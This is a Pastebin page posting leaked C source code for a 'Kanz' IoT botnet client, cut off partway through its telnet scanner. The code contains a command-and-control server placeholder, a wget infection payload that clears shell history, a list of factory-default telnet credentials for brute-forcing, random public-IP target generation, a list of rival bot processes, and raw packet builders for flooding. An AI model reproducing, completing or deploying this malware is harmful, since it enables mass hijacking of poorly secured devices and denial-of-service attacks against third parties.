Advertisement
AvengeVPS

Kanz Botnet Client [Scammer]

Mar 4th, 2018
386
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 104.71 KB | None | 0 0
  1. /*
  2.  
  3. Leaked by AvengeVPS/avengehitler
  4. Scam me I leak your shit buddy :)
  5.  
  6. Kanz Client V4.0
  7.  
  8.  
  9. */
  10. #include <stdlib.h>
  11. #include <stdarg.h>
  12. #include <stdio.h>
  13. #include <sys/socket.h>
  14. #include <sys/types.h>
  15. #include <netinet/in.h>
  16. #include <arpa/inet.h>
  17. #include <netdb.h>
  18. #include <signal.h>
  19. #include <strings.h>
  20. #include <string.h>
  21. #include <sys/utsname.h>
  22. #include <unistd.h>
  23. #include <fcntl.h>
  24. #include <errno.h>
  25. #include <netinet/ip.h>
  26. #include <netinet/udp.h>
  27. #include <netinet/tcp.h>
  28. #include <sys/wait.h>
  29. #include <sys/ioctl.h>
  30. #include <net/if.h>
  31. #define PHI 0x9e3779b9
  32. #define PR_SET_NAME 15
  33. #define SERVER_LIST_SIZE (sizeof(PromServer) / sizeof(unsigned char *))
  34. #define PAD_RIGHT 1
  35. #define PAD_ZERO 2
  36. #define PRINT_BUF_LEN 12
  37. #define CMD_IAC 255
  38. #define CMD_WILL 251
  39. #define CMD_WONT 252
  40. #define CMD_DO 253
  41. #define CMD_DONT 254
  42. #define OPT_SGA 3
  43. #define STD2_SIZE 65
  44. #define BUFFER_SIZE 1024
  45. //#define PRINTS_ENABLED
  46. const char *knownBots[] = {
  47. "mips",
  48. "mipsel",
  49. "sh4",
  50. "x86",
  51. "i686",
  52. "ppc",
  53. "i586",
  54. "i586",
  55. "jackmy*",
  56. "hackmy*",
  57. "arm*",
  58. "b1",
  59. "b2",
  60. "b3",
  61. "b4",
  62. "b5",
  63. "b6",
  64. "b7",
  65. "b8",
  66. "b9",
  67. "busyboxterrorist",
  68. "DFhxdhdf",
  69. "dvrHelper",
  70. "FDFDHFC",
  71. "FEUB",
  72. "FTUdftui",
  73. "GHfjfgvj",
  74. "jhUOH",
  75. "JIPJIPJj",
  76. "JIPJuipjh",
  77. "kmyx86_64",
  78. "lolmipsel",
  79. "mips",
  80. "mipsel",
  81. "RYrydry",
  82. "tel*",
  83. "TwoFace*",
  84. "UYyuyioy",
  85. "wget",
  86. "x86_64",
  87. "XDzdfxzf",
  88. "xxb*",
  89. "sh",
  90. "1",
  91. "2",
  92. "3",
  93. "4",
  94. "5",
  95. "6",
  96. "7",
  97. "8",
  98. "9",
  99. "10",
  100. "11",
  101. "12",
  102. "13",
  103. "14",
  104. "15",
  105. "16",
  106. "17",
  107. "18",
  108. "19",
  109. "20",
  110. "hackz",
  111. "bin*",
  112. "gtop",
  113. "ftp*",
  114. "tftp*",
  115. "botnet",
  116. "swatnet",
  117. "ballpit",
  118. "fucknet",
  119. "cracknet",
  120. "weednet",
  121. "gaynet",
  122. "queernet",
  123. "ballnet",
  124. "unet",
  125. "yougay",
  126. "sttftp",
  127. "sstftp",
  128. "sbtftp",
  129. "btftp",
  130. "y0u1sg3y",
  131. "bruv*",
  132. "IoT*",
  133. };
  134. //IP And Bot Port For Net Server
  135. unsigned char *PromServer[] = {"Server IP:23"};
  136. //Payload For Telnet Scanner
  137. char *infect = "wget here"
  138. *;history -c\r\n";
  139. int initConnection();
  140. int getBogos(unsigned char *bogomips);
  141. int getCores();
  142. int getCountry(unsigned char *buf, int bufsize);
  143. void makeRandomStr(unsigned char *buf, int length);
  144. int sockprintf(int sock, char *formatStr, ...);
  145. char *inet_ntoa(struct in_addr in);
  146. int mainCommSock = 0, currentServer = -1, gotIP = 0;
  147. uint32_t *pids;
  148. uint32_t scanPid;
  149. uint64_t numpids = 0;
  150. struct in_addr ourIP;
  151. struct in_addr ourPublicIP;
  152. unsigned char macAddress[6] = {0};
  153. //Usernames And Passwords For Telnet Scanner
  154. char *usernames[] = {
  155. "telnet\0", //telnet:telnet
  156. "admin\0", //admin:admin
  157. "support\0", //support:support
  158. "daemon\0", //daemon:
  159. "default\0", //default:default
  160. "default\0", //default:
  161. "admin\0", //admin:password
  162. "666666\0", //666666:666666
  163. "root\0", //root:anko
  164. "root\0", //root:tini
  165. "root\0", //root:Zte521
  166. "root\0", //root:vizxv
  167. "root\0", //root:password
  168. "supervisor\0", //supervisor:zyad1234
  169. "root\0", //root:1234qwer
  170. "user\0", //user:user
  171. "1111\0", //1111:1111
  172. "service\0", //service:service
  173. "root\0", //root:oelinux123
  174. "test\0", //test:test
  175. };
  176. char *passwords[] = {
  177. "telnet\0", //telnet:telnet
  178. "admin\0", //admin:admin
  179. "support\0", //support:support
  180. "\0", //daemon:
  181. "default\0", //default:default
  182. "\0", //default:
  183. "password\0", //admin:password
  184. "666666\0", //666666:666666
  185. "anko\0", //root:anko
  186. "tini\0", //root:tini
  187. "Zte521\0", //root:Zte521
  188. "vizxv\0", //root:vizxv
  189. "password\0", //root:password
  190. "zyad1234\0", //supervisor:zyad1234
  191. "1234qwer\0", //root:1234qwer
  192. "user\0", //user:user
  193. "1111\0", //1111:1111
  194. "service\0", //service:service
  195. "oelinux123\0", //root:oelinux123
  196. "test\0", //test:test
  197. };char *tmpdirs[] = {"/dev/netslink/", "/tmp/", "/var/", "/dev/", "/var/run/", "/dev/shm/", "/mnt/", "/boot/", "/usr/", "/opt/", (char*)0};
  198. char *advances[] = {":", "ogin", "sername", "assword", (char*)0};
  199. char *fails[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0};
  200. char *successes[] = {"busybox", "$", "#", (char*)0};
  201. char *advances2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "busybox", "$", "#", (char*)0};
  202. int Nranges [] = {110,111,112,113,114,115,116,117,118,119,223,1,103,203,202,122};//My original idea
  203. static uint32_t Q[4096], c = 362436;
  204. void init_rand(uint32_t x) {
  205. int i;
  206. Q[0] = x;
  207. Q[1] = x + PHI;
  208. Q[2] = x + PHI + PHI;
  209. for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  210. }
  211. uint32_t rand_cmwc(void) {
  212. uint64_t t, a = 18782LL;
  213. static uint32_t i = 4095;
  214. uint32_t x, r = 0xfffffffe;
  215. i = (i + 1) & 4095;
  216. t = a * Q[i] + c;
  217. c = (uint32_t)(t >> 32);
  218. x = t + c;
  219. if (x < c) {
  220. x++;
  221. c++;
  222. }
  223. return (Q[i] = r - x);
  224. }
  225. void trim(char *str) {
  226. int i;
  227. int begin = 0;
  228. int end = strlen(str) - 1;
  229. while (isspace(str[begin])) begin++;
  230. while ((end >= begin) && isspace(str[end])) end--;
  231. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  232. str[i - begin] = '\0';
  233. }
  234. static void printchar(unsigned char **str, int c) {
  235. if (str) {
  236. **str = c;
  237. ++(*str);
  238. }
  239. else (void)write(1, &c, 1);
  240. }
  241. static int prints(unsigned char **out, const unsigned char *string, int width, int pad) {
  242. register int pc = 0, padchar = ' ';
  243. if (width > 0) {
  244. register int len = 0;
  245. register const unsigned char *ptr;
  246. for (ptr = string; *ptr; ++ptr) ++len;
  247. if (len >= width) width = 0;
  248. else width -= len;
  249. if (pad & PAD_ZERO) padchar = '0';
  250. }
  251. if (!(pad & PAD_RIGHT)) {
  252. for ( ; width > 0; --width) {
  253. printchar (out, padchar);
  254. ++pc;
  255. }
  256. }
  257. for ( ; *string ; ++string) {
  258. printchar (out, *string);
  259. ++pc;
  260. }
  261. for ( ; width > 0; --width) {
  262. printchar (out, padchar);
  263. ++pc;
  264. }
  265. return pc;
  266. }
  267. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase) {
  268. unsigned char print_buf[PRINT_BUF_LEN];
  269. register unsigned char *s;
  270. register int t, neg = 0, pc = 0;
  271. register unsigned int u = i;
  272. if (i == 0) {
  273. print_buf[0] = '0';
  274. print_buf[1] = '\0';
  275. return prints (out, print_buf, width, pad);
  276. }
  277. if (sg && b == 10 && i < 0) {
  278. neg = 1;
  279. u = -i;
  280. }
  281. s = print_buf + PRINT_BUF_LEN-1;
  282. *s = '\0';
  283. while (u) {
  284. t = u % b;
  285. if( t >= 10 )
  286. t += letbase - '0' - 10;
  287. *--s = t + '0';
  288. u /= b;
  289. }
  290. if (neg) {
  291. if( width && (pad & PAD_ZERO) ) {
  292. printchar (out, '-');
  293. ++pc;
  294. --width;
  295. } else {
  296. *--s = '-';
  297. }
  298. }
  299. return pc + prints (out, s, width, pad);
  300. }
  301. static int print(unsigned char **out, const unsigned char *format, va_list args ) {
  302. register int width, pad;
  303. register int pc = 0;
  304. unsigned char scr[2];
  305. for (; *format != 0; ++format) {
  306. if (*format == '%') {
  307. ++format;
  308. width = pad = 0;
  309. if (*format == '\0') break;
  310. if (*format == '%') goto out;
  311. if (*format == '-') {
  312. ++format;
  313. pad = PAD_RIGHT;
  314. }
  315. while (*format == '0') {
  316. ++format;
  317. pad |= PAD_ZERO;
  318. }
  319. for ( ; *format >= '0' && *format <= '9'; ++format) {
  320. width *= 10;
  321. width += *format - '0';
  322. }
  323. if( *format == 's' ) {
  324. register char *s = (char *)va_arg( args, int );
  325. pc += prints (out, s?s:"(null)", width, pad);
  326. continue;
  327. }
  328. if( *format == 'd' ) {
  329. pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  330. continue;
  331. }
  332. if( *format == 'x' ) {
  333. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  334. continue;
  335. }
  336. if( *format == 'X' ) {
  337. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  338. continue;
  339. }
  340. if( *format == 'u' ) {
  341. pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  342. continue;
  343. }
  344. if( *format == 'c' ) {
  345. scr[0] = (unsigned char)va_arg( args, int );
  346. scr[1] = '\0';
  347. pc += prints (out, scr, width, pad);
  348. continue;
  349. }
  350. } else {
  351. out:
  352. printchar (out, *format);
  353. ++pc;
  354. }
  355. }
  356. if (out) **out = '\0';
  357. va_end( args );
  358. return pc;
  359. }
  360. int zprintf(const unsigned char *format, ...) {
  361. va_list args;
  362. va_start( args, format );
  363. return print( 0, format, args );
  364. }
  365. int szprintf(unsigned char *out, const unsigned char *format, ...) {
  366. va_list args;
  367. va_start( args, format );
  368. return print( &out, format, args );
  369. }
  370. int sockprintf(int sock, char *formatStr, ...) {
  371. unsigned char *textBuffer = malloc(2048);
  372. memset(textBuffer, 0, 2048);
  373. char *orig = textBuffer;
  374. va_list args;
  375. va_start(args, formatStr);
  376. print(&textBuffer, formatStr, args);
  377. va_end(args);
  378. orig[strlen(orig)] = '\n';
  379. int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  380. free(orig);
  381. return q;
  382. }
  383. static int *fdopen_pids;
  384. int fdpopen(unsigned char *program, register unsigned char *type) {
  385. register int iop;
  386. int pdes[2], fds, pid;
  387. if (*type != 'r' && *type != 'w' || type[1]) return -1;
  388. if (pipe(pdes) < 0) return -1;
  389. if (fdopen_pids == NULL) {
  390. if ((fds = getdtablesize()) <= 0) return -1;
  391. if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  392. memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  393. }
  394. switch (pid = vfork()) {
  395. case -1:
  396. close(pdes[0]);
  397. close(pdes[1]);
  398. return -1;
  399. case 0:
  400. if (*type == 'r') {
  401. if (pdes[1] != 1) {
  402. dup2(pdes[1], 1);
  403. close(pdes[1]);
  404. }
  405. close(pdes[0]);
  406. } else {
  407. if (pdes[0] != 0) {
  408. (void) dup2(pdes[0], 0);
  409. (void) close(pdes[0]);
  410. }
  411. (void) close(pdes[1]);
  412. }
  413. execl("/bin/sh", "sh", "-c", program, NULL);
  414. _exit(127);
  415. }
  416. if (*type == 'r') {
  417. iop = pdes[0];
  418. (void) close(pdes[1]);
  419. } else {
  420. iop = pdes[1];
  421. (void) close(pdes[0]);
  422. }
  423. fdopen_pids[iop] = pid;
  424. return (iop);
  425. }
  426. int fdpclose(int iop) {
  427. register int fdes;
  428. sigset_t omask, nmask;
  429. int pstat;
  430. register int pid;
  431. if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  432. (void) close(iop);
  433. sigemptyset(&nmask);
  434. sigaddset(&nmask, SIGINT);
  435. sigaddset(&nmask, SIGQUIT);
  436. sigaddset(&nmask, SIGHUP);
  437. (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  438. do {
  439. pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  440. } while (pid == -1 && errno == EINTR);
  441. (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  442. fdopen_pids[fdes] = 0;
  443. return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  444. }
  445. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd) {
  446. int got = 1, total = 0;
  447. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  448. return got == 0 ? NULL : buffer;
  449. }
  450. static const long hextable[] = {
  451. [0 ... 255] = -1,
  452. ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  453. ['A'] = 10, 11, 12, 13, 14, 15,
  454. ['a'] = 10, 11, 12, 13, 14, 15
  455. };
  456. long parseHex(unsigned char *hex) {
  457. long ret = 0;
  458. while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  459. return ret;
  460. }
  461. int wildString(const unsigned char* pattern, const unsigned char* string) {
  462. switch(*pattern) {
  463. case '\0': return *string;
  464. case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  465. case '?': return !(*string && !wildString(pattern+1, string+1));
  466. default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  467. }
  468. }
  469. int getHost(unsigned char *toGet, struct in_addr *i) {
  470. struct hostent *h;
  471. if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  472. return 0;
  473. }
  474. void uppercase(unsigned char *str) {
  475. while(*str) { *str = toupper(*str); str++; }
  476. }
  477. int getBogos(unsigned char *bogomips) {
  478. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  479. char linebuf[4096];
  480. while(fdgets(linebuf, 4096, cmdline) != NULL) {
  481. uppercase(linebuf);
  482. if(strstr(linebuf, "BOGOMIPS") == linebuf) {
  483. unsigned char *pos = linebuf + 8;
  484. while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
  485. while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
  486. if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
  487. strcpy(bogomips, pos);
  488. close(cmdline);
  489. return 0;
  490. }
  491. memset(linebuf, 0, 4096);
  492. }
  493. close(cmdline);
  494. return 1;
  495. }
  496. int getCores() {
  497. int totalcores = 0;
  498. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  499. char linebuf[4096];
  500. while(fdgets(linebuf, 4096, cmdline) != NULL) {
  501. uppercase(linebuf);
  502. if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
  503. memset(linebuf, 0, 4096);
  504. }
  505. close(cmdline);
  506. return totalcores;
  507. }
  508. void makeRandomStr(unsigned char *buf, int length) {
  509. int i = 0;
  510. for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  511. }
  512. int recvLine(int socket, unsigned char *buf, int bufsize) {
  513. memset(buf, 0, bufsize);
  514. fd_set myset;
  515. struct timeval tv;
  516. tv.tv_sec = 30;
  517. tv.tv_usec = 0;
  518. FD_ZERO(&myset);
  519. FD_SET(socket, &myset);
  520. int selectRtn, retryCount;
  521. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  522. while(retryCount < 10) {
  523. sockprintf(mainCommSock, "PING");
  524. tv.tv_sec = 30;
  525. tv.tv_usec = 0;
  526. FD_ZERO(&myset);
  527. FD_SET(socket, &myset);
  528. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  529. retryCount++;
  530. continue;
  531. }
  532. break;
  533. }
  534. }
  535. unsigned char tmpchr;
  536. unsigned char *cp;
  537. int count = 0;
  538. cp = buf;
  539. while(bufsize-- > 1) {
  540. if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  541. *cp = 0x00;
  542. return -1;
  543. }
  544. *cp++ = tmpchr;
  545. if(tmpchr == '\n') break;
  546. count++;
  547. }
  548. *cp = 0x00;
  549. return count;
  550. }
  551. struct telstate_t {
  552. int fd;
  553. unsigned int ip;
  554. unsigned char state;
  555. unsigned char complete;
  556. unsigned char usernameInd;
  557. unsigned char passwordInd;
  558. unsigned char tempDirInd;
  559. unsigned int totalTimeout;
  560. unsigned short bufUsed;
  561. char *sockbuf;
  562. };
  563. const char* get_telstate_host(struct telstate_t* telstate) {
  564. struct in_addr in_addr_ip;
  565. in_addr_ip.s_addr = telstate->ip;
  566. return inet_ntoa(in_addr_ip);
  567. }
  568. int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings) {
  569. int num_bytes, i;
  570. memset(buffer, 0, buf_size);
  571. num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
  572. if(buffer[0] == 0xFF) {
  573. negotiate(fd, buffer, 3);
  574. }
  575. if(contains_string(buffer, strings)) {
  576. return 1;
  577. }
  578. return 0;
  579. }
  580. int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size) {
  581. fd_set read_set;
  582. struct timeval tv;
  583. tv.tv_sec = 0;
  584. tv.tv_usec = timeout_usec;
  585. FD_ZERO(&read_set);
  586. FD_SET(fd, &read_set);
  587. if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)
  588. return 0;
  589. return recv(fd, buffer, buf_size, 0);
  590. }
  591. void advance_state(struct telstate_t* telstate, int new_state) {
  592. if(new_state == 0) {
  593. close(telstate->fd);
  594. }
  595. telstate->totalTimeout = 0;
  596. telstate->state = new_state;
  597. memset((telstate->sockbuf), 0, BUFFER_SIZE);
  598. }
  599. void reset_telstate(struct telstate_t* telstate) {
  600. advance_state(telstate, 0);
  601. telstate->complete = 1;
  602. }
  603. int contains_success(char* buffer) {
  604. return contains_string(buffer, successes);
  605. }
  606. int contains_fail(char* buffer) {
  607. return contains_string(buffer, fails);
  608. }
  609. int contains_response(char* buffer) {
  610. return contains_success(buffer) || contains_fail(buffer);
  611. }
  612. int contains_string(char* buffer, char** strings) {
  613. int num_strings = 0, i = 0;
  614. for(num_strings = 0; strings[++num_strings] != 0; );
  615. for(i = 0; i < num_strings; i++) {
  616. if(strcasestr(buffer, strings[i])) {
  617. return 1;
  618. }
  619. }
  620. return 0;
  621. }
  622. int connectTimeout(int fd, char *host, int port, int timeout) {
  623. struct sockaddr_in dest_addr;
  624. fd_set myset;
  625. struct timeval tv;
  626. socklen_t lon;
  627. int valopt;
  628. long arg = fcntl(fd, F_GETFL, NULL);
  629. arg |= O_NONBLOCK;
  630. fcntl(fd, F_SETFL, arg);
  631. dest_addr.sin_family = AF_INET;
  632. dest_addr.sin_port = htons(port);
  633. if(getHost(host, &dest_addr.sin_addr)) return 0;
  634. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  635. int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  636. if (res < 0) {
  637. if (errno == EINPROGRESS) {
  638. tv.tv_sec = timeout;
  639. tv.tv_usec = 0;
  640. FD_ZERO(&myset);
  641. FD_SET(fd, &myset);
  642. if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  643. lon = sizeof(int);
  644. getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  645. if (valopt) return 0;
  646. }
  647. else return 0;
  648. }
  649. else return 0;
  650. }
  651. arg = fcntl(fd, F_GETFL, NULL);
  652. arg &= (~O_NONBLOCK);
  653. fcntl(fd, F_SETFL, arg);
  654. return 1;
  655. }
  656. int listFork() {
  657. uint32_t parent, *newpids, i;
  658. parent = fork();
  659. if (parent <= 0) return parent;
  660. numpids++;
  661. newpids = (uint32_t*)malloc((numpids + 1) * 4);
  662. for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  663. newpids[numpids - 1] = parent;
  664. free(pids);
  665. pids = newpids;
  666. return parent;
  667. }
  668. int negotiate(int sock, unsigned char *buf, int len) {
  669. unsigned char c;
  670. switch (buf[1]) {
  671. case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
  672. case CMD_WILL:
  673. case CMD_WONT:
  674. case CMD_DO:
  675. case CMD_DONT:
  676. c = CMD_IAC;
  677. send(sock, &c, 1, MSG_NOSIGNAL);
  678. if (CMD_WONT == buf[1]) c = CMD_DONT;
  679. else if (CMD_DONT == buf[1]) c = CMD_WONT;
  680. else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  681. else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  682. send(sock, &c, 1, MSG_NOSIGNAL);
  683. send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  684. break;
  685. default:
  686. break;
  687. }
  688. return 0;
  689. }
  690. int matchPrompt(char *bufStr) {
  691. char *prompts = ":>%$#\0";
  692. int bufLen = strlen(bufStr);
  693. int i, q = 0;
  694. for(i = 0; i < strlen(prompts); i++) {
  695. while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  696. if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  697. }
  698. return 0;
  699. }
  700. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex) {
  701. int bufferUsed = initialIndex, got = 0, found = 0;
  702. fd_set myset;
  703. struct timeval tv;
  704. tv.tv_sec = timeout;
  705. tv.tv_usec = timeoutusec;
  706. unsigned char *initialRead = NULL;
  707. while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0)) {
  708. FD_ZERO(&myset);
  709. FD_SET(fd, &myset);
  710. if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  711. initialRead = buffer + bufferUsed;
  712. got = recv(fd, initialRead, 1, 0);
  713. if(got == -1 || got == 0) return 0;
  714. bufferUsed += got;
  715. if(*initialRead == 0xFF) {
  716. got = recv(fd, initialRead + 1, 2, 0);
  717. if(got == -1 || got == 0) return 0;
  718. bufferUsed += got;
  719. if(!negotiate(fd, initialRead, 3)) return 0;
  720. } else {
  721. if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  722. }
  723. }
  724. if(found) return 1;
  725. return 0;
  726. }
  727. in_addr_t GetRandomPublicIP()
  728. {
  729. static uint8_t ipState[4] = {0};
  730. ipState[0] = rand() % 223;
  731. ipState[1] = rand() % 255;
  732. ipState[2] = rand() % 255;
  733. ipState[3] = rand() % 255;
  734. while(
  735. (ipState[0] == 127) || // 127.0.0.0/8 - Loopback
  736. (ipState[0] == 0) || // 191.96.112.111/8 - Invalid address space
  737. (ipState[0] == 3) || // 3.0.0.0/8 - General Electric Company
  738. (ipState[0] == 15 || ipState[0] == 16) || // 15.0.0.0/7 - Hewlett-Packard Company
  739. (ipState[0] == 56) || // 56.0.0.0/8 - US Postal Service
  740. (ipState[0] == 10) || // 180.211.229.222/8 - Internal network
  741. (ipState[0] == 192 && ipState[1] == 168) || // 192.168.0.0/16 - Internal network
  742. (ipState[0] == 172 && ipState[1] >= 16 && ipState[1] < 32) || // 172.16.0.0/14 - Internal network
  743. (ipState[0] == 100 && ipState[1] >= 64 && ipState[1] < 127) || // 100.64.0.0/10 - IANA NAT reserved
  744. (ipState[0] == 169 && ipState[1] > 254) || // 169.254.0.0/16 - IANA NAT reserved
  745. (ipState[0] == 198 && ipState[1] >= 18 && ipState[1] < 20) || // 198.18.0.0/15 - IANA Special use
  746. (ipState[0] == 224) || // 224.*.*.*+ - Multicast
  747. (ipState[0] == 6 || ipState[0] == 7 || ipState[0] == 11 || ipState[0] == 21 || ipState[0] == 22 || ipState[0] == 26 || ipState[0] == 28 || ipState[0] == 29 || ipState[0] == 30 || ipState[0] == 33 || ipState[0] == 55 || ipState[0] == 214 || ipState[0] == 215)
  748. )
  749. {
  750. ipState[0] = rand() % 223;
  751. ipState[1] = rand() % 255;
  752. ipState[2] = rand() % 255;
  753. ipState[3] = rand() % 255;
  754. }
  755. char ip[16] = {0};
  756. szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  757. return inet_addr(ip);
  758. }
  759. in_addr_t GetRandomIP(in_addr_t netmask)
  760. {
  761. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  762. return tmp ^ ( rand_cmwc() & ~netmask);
  763. }
  764. unsigned short csum (unsigned short *buf, int count) {
  765. register uint64_t sum = 0;
  766. while( count > 1 ) { sum += *buf++; count -= 2; }
  767. if(count > 0) { sum += *(unsigned char *)buf; }
  768. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  769. return (uint16_t)(~sum);
  770. }
  771. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  772. struct tcp_pseudo {
  773. unsigned long src_addr;
  774. unsigned long dst_addr;
  775. unsigned char zero;
  776. unsigned char proto;
  777. unsigned short length;
  778. } pseudohead;
  779. unsigned short total_len = iph->tot_len;
  780. pseudohead.src_addr=iph->saddr;
  781. pseudohead.dst_addr=iph->daddr;
  782. pseudohead.zero=0;
  783. pseudohead.proto=IPPROTO_TCP;
  784. pseudohead.length=htons(sizeof(struct tcphdr));
  785. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  786. unsigned short *tcp = malloc(totaltcp_len);
  787. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  788. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  789. unsigned short output = csum(tcp,totaltcp_len);
  790. free(tcp);
  791. return output;
  792. }
  793. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize) {
  794. iph->ihl = 5;
  795. iph->version = 4;
  796. iph->tos = 0;
  797. iph->tot_len = sizeof(struct iphdr) + packetSize;
  798. iph->id = rand_cmwc();
  799. iph->frag_off = 0;
  800. iph->ttl = MAXTTL;
  801. iph->protocol = protocol;
  802. iph->check = 0;
  803. iph->saddr = source;
  804. iph->daddr = dest;
  805. }
  806. int sclose(int fd) {
  807. if(3 > fd) return 1;
  808. close(fd);
  809. return 0;
  810. }
  811. int socket_connect(char *host, in_port_t port) {
  812. struct hostent *hp;
  813. struct sockaddr_in addr;
  814. int on = 1, sock;
  815. if ((hp = gethostbyname(host)) == NULL) return 0;
  816. bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
  817. addr.sin_port = htons(port);
  818. addr.sin_family = AF_INET;
  819. sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  820. setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
  821. if (sock == -1) return 0;
  822. if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1)
  823. return 0;
  824. return sock;
  825. }
  826. void TelnetScanner(int wait_usec, int maxfds) {
  827. int i, res, num_tmps, j;
  828. char buf[128], cur_dir;
  829. int max = maxfds;
  830. fd_set fdset;
  831. struct timeval tv;
  832. socklen_t lon;
  833. int valopt;
  834. srand(time(NULL) ^ rand_cmwc());
  835. char line[256];
  836. char* buffer;
  837. struct sockaddr_in dest_addr;
  838. dest_addr.sin_family = AF_INET;
  839. dest_addr.sin_port = htons(23);
  840. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  841. buffer = malloc(BUFFER_SIZE + 1);
  842. memset(buffer, 0, BUFFER_SIZE + 1);
  843. struct telstate_t fds[max];
  844. memset(fds, 0, max * (sizeof(int) + 1));
  845. for(i = 0; i < max; i++) {
  846. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  847. fds[i].complete = 1;
  848. fds[i].sockbuf = buffer;
  849. }
  850. for(num_tmps = 0; tmpdirs[++num_tmps] != 0; );
  851. while(1) {
  852. for(i = 0; i < max; i++) {
  853. if(fds[i].totalTimeout == 0) {
  854. fds[i].totalTimeout = time(NULL);
  855. }
  856. switch(fds[i].state) {
  857. case 0: {
  858. if(fds[i].complete == 1) {
  859. char *tmp = fds[i].sockbuf;
  860. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  861. fds[i].sockbuf = tmp;
  862. fds[i].ip = GetRandomPublicIP();
  863. }
  864. else if(fds[i].complete == 0) {
  865. fds[i].passwordInd++;
  866. fds[i].usernameInd++;
  867. if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) {
  868. fds[i].complete = 1;
  869. continue;
  870. }
  871. if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) {
  872. fds[i].complete = 1;
  873. continue;
  874. }
  875. }
  876. dest_addr.sin_family = AF_INET;
  877. dest_addr.sin_port = htons(23);
  878. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  879. dest_addr.sin_addr.s_addr = fds[i].ip;
  880. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  881. if(fds[i].fd == -1) continue;
  882. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
